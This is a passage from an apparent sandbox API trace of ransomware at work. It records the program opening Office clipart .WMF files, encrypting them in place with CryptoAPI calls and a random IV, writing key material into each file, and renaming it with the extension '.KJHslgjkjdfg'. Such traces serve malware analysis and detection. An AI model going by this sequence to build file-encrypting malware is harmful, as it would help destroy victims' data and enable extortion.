hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.789] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.789] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.789] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.789] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1bac, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1bac, lpOverlapped=0x0) returned 1 [0189.790] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1bb0, dwBufLen=0x1bb0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1bb0) returned 1 [0189.790] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.790] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1bb0, lpOverlapped=0x0) returned 1 [0189.790] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.790] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1c84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.790] SetEndOfFile (hFile=0x130) returned 1 [0189.792] GetProcessHeap () returned 0x990000 [0189.792] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.792] GetProcessHeap () returned 0x990000 [0189.792] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.792] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf.kjhslgjkjdfg")) returned 1 [0189.793] CloseHandle (hObject=0x130) returned 1 [0189.793] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b503b00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b503b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1bba, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00693_.WMF", cAlternateFileName="")) returned 1 [0189.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.794] GetProcessHeap () returned 0x990000 [0189.794] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.794] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.794] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.794] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0189.795] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.795] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.795] GetProcessHeap () returned 0x990000 [0189.795] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.795] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.795] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.796] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.796] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.796] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.796] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.796] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.796] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.796] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.796] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.796] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.796] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1bba, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1bba, lpOverlapped=0x0) returned 1 [0189.797] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1bc0, dwBufLen=0x1bc0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1bc0) returned 1 [0189.797] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.797] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1bc0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1bc0, lpOverlapped=0x0) returned 1 [0189.798] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.798] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1c94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.798] SetEndOfFile (hFile=0x130) returned 1 [0189.799] GetProcessHeap () returned 0x990000 [0189.799] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.799] GetProcessHeap () returned 0x990000 [0189.799] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.799] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf.kjhslgjkjdfg")) returned 1 [0189.800] CloseHandle (hObject=0x130) returned 1 [0189.801] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7507bb00, ftCreationTime.dwHighDateTime=0x1bd4b36, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7507bb00, ftLastWriteTime.dwHighDateTime=0x1bd4b36, nFileSizeHigh=0x0, nFileSizeLow=0xb20, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH01013_.WMF", cAlternateFileName="")) returned 1 [0189.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.802] GetProcessHeap () returned 0x990000 [0189.802] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.802] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.802] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.802] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.802] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.802] GetProcessHeap () returned 0x990000 [0189.802] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.802] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.802] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.802] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.804] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.804] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.804] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.804] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.804] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.804] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.804] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.804] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.804] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xb20, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xb20, lpOverlapped=0x0) returned 1 [0189.804] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb20, dwBufLen=0xb20 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb20) returned 1 [0189.804] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.804] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xb20, lpOverlapped=0x0) returned 1 [0189.805] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.805] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xbf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.805] SetEndOfFile (hFile=0x130) returned 1 [0189.806] GetProcessHeap () returned 0x990000 [0189.806] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.806] GetProcessHeap () returned 0x990000 [0189.806] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.806] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf.kjhslgjkjdfg")) returned 1 [0189.807] CloseHandle (hObject=0x130) returned 1 [0189.807] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x47c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH01015_.WMF", cAlternateFileName="")) returned 1 [0189.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.809] GetProcessHeap () returned 0x990000 [0189.809] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.809] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.809] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.809] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.811] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.811] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.811] GetProcessHeap () returned 0x990000 [0189.811] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.811] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.811] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.811] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.811] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.811] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.811] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.811] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.811] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.811] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.811] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.811] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.811] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x47c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x47c, lpOverlapped=0x0) returned 1 [0189.812] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x480, dwBufLen=0x480 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x480) returned 1 [0189.812] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.812] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x480, lpOverlapped=0x0) returned 1 [0189.812] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.812] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x554, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.812] SetEndOfFile (hFile=0x130) returned 1 [0189.814] GetProcessHeap () returned 0x990000 [0189.814] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.814] GetProcessHeap () returned 0x990000 [0189.814] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.814] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf.kjhslgjkjdfg")) returned 1 [0189.815] CloseHandle (hObject=0x130) returned 1 [0189.815] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x436e0000, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x436e0000, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0xac4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH01058_.WMF", cAlternateFileName="")) returned 1 [0189.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.816] GetProcessHeap () returned 0x990000 [0189.816] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.816] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.816] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.816] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0189.818] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.818] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.818] GetProcessHeap () returned 0x990000 [0189.818] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.818] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.818] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.818] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.818] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.818] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.818] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.818] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.818] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.819] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.819] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.819] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.819] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xac4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xac4, lpOverlapped=0x0) returned 1 [0189.819] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xad0, dwBufLen=0xad0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xad0) returned 1 [0189.819] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.819] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xad0, lpOverlapped=0x0) returned 1 [0189.819] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.819] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xba4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.819] SetEndOfFile 